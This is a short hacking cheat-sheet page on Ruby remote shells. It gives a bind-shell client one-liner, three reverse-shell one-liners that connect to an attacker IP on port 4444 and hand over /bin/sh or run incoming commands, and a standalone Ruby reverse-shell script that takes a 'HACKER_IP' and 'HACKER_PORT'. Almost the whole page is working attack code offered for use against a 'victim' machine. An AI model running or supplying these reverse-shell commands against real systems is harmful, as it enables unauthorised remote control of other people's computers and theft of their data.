Remote Shell

Remote shell means s forward or reverse connection to the target system command-line(shell).

Note: For windows systems, replace the “/bin/sh” to “cmd.exe”

Connect to Bind shell

from terminal

  1. ruby -rsocket -e's=TCPSocket.new("VictimIP",4444);loop do;cmd=gets.chomp;s.puts cmd;s.close if cmd=="exit";puts s.recv(1000000);end'

since 192.168.0.15 is the victim IP

Reverse shell

Attacker is listening on port 4444 nc -lvp 4444. Now on victim machine run

  1. ruby -rsocket -e's=TCPSocket.open("192.168.0.13",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'

if you don’t want to rely on /bin/sh

  1. ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.13","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

if you don’t want to rely on cmd.exe

  1. ruby -rsocket -e 'c=TCPSocket.new("192.168.0.13","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

since 192.168.0.13 is the attacker IP

If you want it more flexible script file

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. require 'socket'
  4. if ARGV[0].nil? || ARGV[1].nil?
  5.     puts "ruby #{__FILE__}.rb [HACKER_IP HACKER_PORT]\n\n"
  6.     exit
  7. end
  8. ip, port = ARGV
  9. s = TCPSocket.open(ip,port).to_i
  10. exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)

Bind and Reverse shell

This is an awesome implementation for a standalone bind and reverse shells scripts written by Hood3dRob1n on GitHub . The bind shell requires authentication while reverse is not.